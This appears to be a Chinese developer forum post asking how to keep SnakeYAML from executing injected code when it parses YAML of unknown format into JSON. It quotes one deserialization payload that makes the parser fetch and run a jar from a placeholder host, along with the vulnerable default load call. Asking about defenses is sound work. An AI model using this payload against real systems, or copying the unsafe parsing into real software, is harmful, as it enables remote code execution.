请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢
資深大佬 : sqfphoenix 8
目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://x.x.x.x/doSomething.jar"] ]] ]
通过 snakeyaml 方法解析
Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞 Object obj = yaml.load(yamlString);
此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形
大佬有話說 (3)